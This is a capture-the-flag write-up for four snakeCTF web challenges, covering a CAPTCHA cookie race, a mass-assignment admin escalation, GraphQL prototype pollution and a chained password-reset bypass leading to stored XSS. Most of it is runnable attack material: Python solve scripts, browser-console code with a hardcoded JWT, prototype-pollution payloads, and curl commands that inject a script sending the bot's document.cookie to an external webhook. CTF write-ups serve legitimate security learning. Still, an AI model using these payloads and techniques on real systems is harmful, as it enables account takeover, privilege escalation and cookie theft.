web
Challenges

/b/locked

Time to prove you're not just another... new user.
❯ unzip -l blocked.zip
Archive: blocked.zip
Length Date Time Name
--------- ---------- ----- ----
287 1969-12-31 16:00 Dockerfile
248 1969-12-31 16:00 docker-compose.yml
8399 1969-12-31 16:00 index.js
0 1969-12-31 16:00 lib/
4867 1969-12-31 16:00 lib/captcha.js
85037 1969-12-31 16:00 package-lock.json
404 1969-12-31 16:00 package.json
0 1969-12-31 16:00 public/
537 1969-12-31 16:00 public/style.css
3293 1969-12-31 16:00 public/script.js
0 1969-12-31 16:00 views/
1654 1969-12-31 16:00 views/index.ejs
1461 1969-12-31 16:00 views/page.ejs
--------- -------
106187 13 files
tldr; The site tracks “solved” CAPTCHAs by dropping a solvedCaptchas
cookie containing per-solve tokens stored in SQLite. The protected page re-parses that cookie in a different format and then verifies all tokens concurrently using a SELECT … then pbkdf2 … then DELETE
flow.
By solving one CAPTCHA to get a single token, forging the cookie as token,token,…
(10×), and hitting /protected
, all 10 verifications race and succeed before the row is deleted, the elapsed time is ~0s, and the flag is rendered. The EJS view (views/page.ejs
) prints it (templated as <%= flag %>
).
// server.js – GET /protected
if (timeElapsed <= TIME_LIMIT_SECONDS) {
res.render('page', {
flag: process.env.FLAG || "snakeCTF{f4k3_fl4g_f0r_t3st1ng}",
});
}

How to get there?
You must make /protected
think you solved 10 CAPTCHAs within 10 seconds. That page:
Reads tokens from the
solvedCaptchas
cookie.Sorts the
solvedAt
timestamps and checkslast - first ≤ 10s
.
We bypass the “ten different solves” requirement by reusing the same token 10× and abusing a race so every concurrent verifier counts it before deletion.

The vulnerability?
Setter (on /api/solve
) serializes as JSON array:

Reader (on /protected
) expects a comma-separated list:

Because of this mismatch, an attacker can supply any comma-separated string (not JSON) and the server will accept it.
Steps:
Fetch one CAPTCHA:
GET /api/captcha
→ receive images +captchaId
.Solve it once (DO IT manually) 🤷♂️.
POST /api/solve { captchaId, solution }
On success the server:Inserts
id=token, hash, salt, solvedAt
intovalidHashes
.Sets cookie
solvedCaptchas
to["<token>"]
(JSON array).
Extract the token from the cookie (
["<token>"]
→<token>
).Forge the cookie in the format
/protected
expects (comma list), repeating the same token 10×:
import json
import re
import sys
from urllib.parse import unquote, urljoin
import requests
USAGE = "usage: python solve.py <BASE_URL> <cookie_or_token>"
def parse_tokens(s: str):
"""Return a list of raw token(s) from a raw token OR urlencoded JSON cookie."""
s = s.strip()
if "%" in s:
s = unquote(s)
# JSON array or string?
try:
j = json.loads(s)
if isinstance(j, list):
return [str(t).strip() for t in j if str(t).strip()]
if isinstance(j, str):
return [j.strip()] if j.strip() else []
except Exception:
pass
# plain token
return [s] if s else []
def try_token(base, token):
forged = ",".join([token] * 10) # the server splits on commas
headers = {"Cookie": f"solvedCaptchas={forged}"}
r = requests.get(urljoin(base, "protected"), headers=headers)
m = re.search(r"(snakeCTF\{[^}]+\})", r.text, re.I)
return r.status_code, m.group(1) if m else None, r.text
def main():
if len(sys.argv) < 3:
print(USAGE); sys.exit(1)
base = sys.argv[1].rstrip("/") + "/"
raw = sys.argv[2]
tokens = parse_tokens(raw)
if not tokens:
print("[-] no token(s) parsed"); sys.exit(1)
print(f"[+] parsed {len(tokens)} token(s): {tokens}")
for i, tok in enumerate(tokens, 1):
print(f"[+] trying token {i}/{len(tokens)}: {tok}")
code, flag, body = try_token(base, tok)
print(f"[+] status: {code}")
if flag:
print(f"[+] FLAG: {flag}")
return
# helpful diagnostics if cookie didn't land
if "You need to solve 10 captchas to access this page." in body:
print("[-] server didn't see your cookie (or threw before parsing).")
elif "You need to solve 10 captchas to access this page. You have solved" in body:
print("[-] cookie parsed, but count < 10 (unexpected for duplicate trick).")
else:
print(body[:300])
print("[-] no luck; the token(s) may be consumed. solve one captcha again and retry.")
if __name__ == "__main__":
main()
ExploitMe

Finally! The dating app specifically designed for people who think "getting a shell" is more exciting than getting a phone number.
tldr; Next.js app lets users edit their profile through /api/edit
. The code validates input with yup
but never calls .noUnknown()
and later builds the SQL SET
list from the keys of the validated object. That’s a classic mass-assignment bug: you can smuggle arbitrary columns (e.g. is_admin
) into the update.
A second bug: /api/chat/[matchId]/report
lets any logged-in user mark any chat as reported. The reader for /api/chat/[matchId]
grants access if you’re (admin AND reported).
So: register → onboard → POST /api/edit
with {"is_admin":1}
→ POST /api/chat/4/report
→ GET /api/chat/4
→ read the messages and extract the flag.
❯ unzip -l exploitme.zip
Archive: exploitme.zip
Length Date Time Name
--------- ---------- ----- ----
258 1980-01-01 00:00 Dockerfile
405 1980-01-01 00:00 components/Layout.js
500 1980-01-01 00:00 components/Input.js
500 1980-01-01 00:00 components/Button.js
2037 1980-01-01 00:00 components/Logo.js
240 1980-01-01 00:00 docker-compose.yml
369 1980-01-01 00:00 eslint.config.mjs
73 1980-01-01 00:00 jsconfig.json
651 1980-01-01 00:00 lib/sanitize.js
220 1980-01-01 00:00 lib/db.js
118 1980-01-01 00:00 next.config.mjs
283897 1980-01-01 00:00 package-lock.json
838 1980-01-01 00:00 package.json
4095 1980-01-01 00:00 pages/onboarding.js
4591 1980-01-01 00:00 pages/chat/[matchId].js
4190 1980-01-01 00:00 pages/explore.js
888 1980-01-01 00:00 pages/index.js
2285 1980-01-01 00:00 pages/login.js
2561 1980-01-01 00:00 pages/register.js
257 1980-01-01 00:00 pages/_document.js
3395 1980-01-01 00:00 pages/api/onboarding.js
1557 1980-01-01 00:00 pages/api/chat/[matchId]/report.js
2592 1980-01-01 00:00 pages/api/chat/[matchId]/index.js
1530 1980-01-01 00:00 pages/api/login.js
1694 1980-01-01 00:00 pages/api/users.js
1665 1980-01-01 00:00 pages/api/register.js
1783 1980-01-01 00:00 pages/api/users/[username].js
2209 1980-01-01 00:00 pages/api/match-status.js
2408 1980-01-01 00:00 pages/api/like.js
1313 1980-01-01 00:00 pages/api/onboarding/check.js
2517 1980-01-01 00:00 pages/api/edit.js
7054 1980-01-01 00:00 pages/users/[username].js
216 1980-01-01 00:00 pages/_app.js
81 1980-01-01 00:00 postcss.config.mjs
454660 1980-01-01 00:00 public/dude.png
847116 1980-01-01 00:00 public/admin1.png
37683 1980-01-01 00:00 public/admin.png
916023 1980-01-01 00:00 public/priest.png
47400 1980-01-01 00:00 public/bepi.webp
9028 1980-01-01 00:00 scripts/run-migrations.js
93 1980-01-01 00:00 styles/globals.css
--------- -------
2650990 41 files
Where is the flag? I first able to identified it in the seed file of this narnia db

And to expose it, we have to invoke this lil rat with some permission
// pages/api/chat/[matchId]/index.js
const messages = await db.all(
'SELECT id, match_id, sender_id, content, created_at FROM messages WHERE match_id = ? ORDER BY created_at ASC',
matchId
);
How to get there?
Create an account → receive a JWT.
Finish onboarding so
/api/edit
is allowed.Mass-assign admin via
/api/edit
by includingis_admin: 1
in the JSON body.Report the target match via
/api/chat/4/report
(no membership check).Read
/api/chat/4
as an admin of a reported match and grab the flag from the returned messages.
Who is responsible for this vulnerability?
// pages/api/edit.js
const editProfileSchema = yup.object().shape({
role: yup.string().oneOf(['WHITE_HAT','BLACK_HAT','GREY_HAT']),
/* … many allowed fields … */
yt_embed: yup.string().url(),
});
validated = await editProfileSchema.validate(req.body, { abortEarly: false });
// ❌ no .noUnknown(), so extra keys survive validation
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
await db.run(`UPDATE users SET ${setClause} WHERE id = ?`, ...values, userId);
Because unknown keys aren’t stripped/rejected, sending {"is_admin":1}
ends up in validated
, then in SET "is_admin" = ?
. Thats why if you’re admin and the match is reported, you may read that chat even if you’re not part of it. (read the chat 4 where they have the flag). But make sure you finished the onboard process first 🤷😭.
#!/usr/bin/env python3
import re, random, string, requests
BASE = "http://localhost:3000/"
MATCH_ID = "4"
def rname(n=8): return "u" + "".join(random.choice(string.ascii_lowercase) for _ in range(n))
def must_ok(resp):
if resp.status_code >= 400:
print(f"[!] {resp.request.method} {resp.request.url} -> {resp.status_code}")
print(resp.text)
resp.raise_for_status()
return resp
def main():
s = requests.Session()
# 1 register
u = rname()
r = must_ok(s.post(BASE + "api/register",
json={"username": u, "email": f"{u}@ex.am", "password": "pass123"}))
jwt = r.json()["token"]
H = {"Authorization": f"Bearer {jwt}"}
print("[+] registered:", u)
# 2 onboard (include touches_grass!)
onboard = {
"role":"WHITE_HAT",
"looking_for":"BLACK_HAT",
"age":20,
"likes":["a"],
"dislikes":["b"],
"bio":"x",
"location":"net",
"hacks":["c"],
"favorite_hacker":"x",
"favorite_song":"x",
"favorite_movie":"x",
"touches_grass": False
}
must_ok(s.post(BASE + "api/onboarding", json=onboard, headers=H))
print("[+] onboarded")
# 3 mass-assign admin via /api/edit
must_ok(s.post(BASE + "api/edit", json={"is_admin": 1}, headers=H))
print("[+] now admin")
# 4 report target chat (no membership required)
must_ok(s.post(BASE + f"api/chat/{MATCH_ID}/report", headers=H))
print("[+] match reported")
# 5 read chat & extract flag
r = must_ok(s.get(BASE + f"api/chat/{MATCH_ID}", headers=H))
msgs = " ".join(m.get("content","") for m in r.json().get("messages", []))
m = re.search(r"(snakeCTF\{[^}]+\})", msgs, re.I)
print("[+] FLAG:", m.group(1) if m else msgs)
main()
Boxbin

🎵 You're on Boxbin, you're on Boxbin... 🎵 Welcome to Boxbin, the totally-not-suspicious platform for sharing your hatred against any kind of box!
Paste these in the console of the site. I'm so lazy at this point
localStorage.removeItem('token');
GQL(`mutation($u:String!,$p:String!){
signup(username:$u, password:$p)
}`, { u: `t_${Date.now()}`, p: "p@ssw0rd" })
.then(r => {
console.log(r);
const tok = r.data?.signup; // <— scalar string
if (tok) localStorage.setItem('token', tok);
});
##### WORKING SO FAR
// --- auto-pick the working GraphQL endpoint and auth style ---
const TOKEN = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwLCJpYXQiOjE3NTY0OTQ4MDl9.ZTGXB9kn4s4JfFOaC4LW7qG5j87ocPzQBDvoe-NXRm4';
localStorage.setItem('token', TOKEN);
document.cookie = `token=${TOKEN}; Path=/; SameSite=Lax`;
async function pickEndpoint() {
for (const ep of ['/api/graphql', '/graphql']) {
const r = await fetch(ep, {
method: 'POST',
headers: { 'content-type': 'application/json', 'authorization': TOKEN },
credentials: 'include',
body: JSON.stringify({ query: '{ __typename: __schema { queryType { name } } }' })
});
if (r.ok) return ep;
}
throw new Error('No working GraphQL endpoint (got 404s)');
}
const EP = await pickEndpoint();
console.log('Using endpoint:', EP);
const GQL = (q, vars) =>
fetch(EP, {
method: 'POST',
headers: { 'content-type': 'application/json', 'authorization': TOKEN }, // <— NO "Bearer "
credentials: 'include',
body: JSON.stringify(vars ? { query: q, variables: vars } : { query: q })
}).then(async r => r.ok ? r.json() : Promise.reject(new Error(await r.text())));
// sanity: should show your user, not null
console.log(await GQL(`{ me { id username isAdmin groupId } }`));
// 1 baseline
console.log(await GQL(`{ me { id username isAdmin groupId } }`));
console.log(await GQL(`{ userSettings }`));
// 2 try a few PP payloads
const payloads = [
{"__proto__":{"isAdmin":true,"groupId":1,"canViewHidden":true}},
{"constructor":{"prototype":{"isAdmin":true,"groupId":1,"canViewHidden":true}}},
{"isAdmin":true,"groupId":1,"canViewHidden":true}
];
for (const p of payloads) {
console.log('set', p);
console.log(await GQL(`mutation($s:String!){ updateSettings(settings:$s) }`,
{ s: JSON.stringify(p) }));
// 3 re-check and then try the gated query
console.log(await GQL(`{ userSettings }`));
console.log(await GQL(`{ me { id isAdmin groupId } }`));
console.log(await GQL(`{ hiddenPosts { id title author{username} content } }`));
}
SPAM

The Italian government's latest digital authentication masterpiece. Built by the lowest bidder with the highest confidence. What could go wrong?
TL;DR: Chain four bugs to run XSS in the admin bot and steal the flag. First, a missing await
in password-reset makes any reset token “valid,” letting you reset the admin (user 0). With admin creds, abuse a broken authorization check to self-assign the System group.
That unlocks an internal /api/internal/sync
endpoint where profile fields aren’t sanitized—inject a <script>
payload. The “test” service renders that profile verbatim, so when the bot views it, your JS executes in the bot’s browser and exfiltrates its cookies (flag).
The challenge is to make the bot visit a page where your JavaScript runs and reads document.cookie
to exfiltrate that flag.

const tokenData = db.get(“SELECT * FROM PasswordResetTokens WHERE token = ?”, token);
This lets you reset the admin’s password without a valid token, effectively an auth bypass.
After takeover, you can: Promote yourself to System via IDP Actions (assignGroup). Use the System-only sync endpoint to write unsensitized profile fields. Some webhook shenanigans.
curl -s 'http://localhost:3000/api/auth/signin' \
-H 'Content-Type: application/json' \
-d '{"email":"admin@spam.gov.it","password":"A1?AdminPwd123"}'
curl -X PATCH 'http://localhost:3000/api/auth/forgot' \
-H 'Content-Type: application/json' \
-d '{"token":"anything","newPassword":"A1?AdminPwd123"}'
curl -X POST 'http://localhost:3000/api/actions' \
-H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
-d '{"action":"assignGroup","params":{"userId":0,"groupId":0}}'
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
-H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
-d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
-H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
-d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'

snakeCTF{42m_3ur0s_w3ll_sp3nt_0n_s3cur1ty_f369f85ee7ed56f6}
Last updated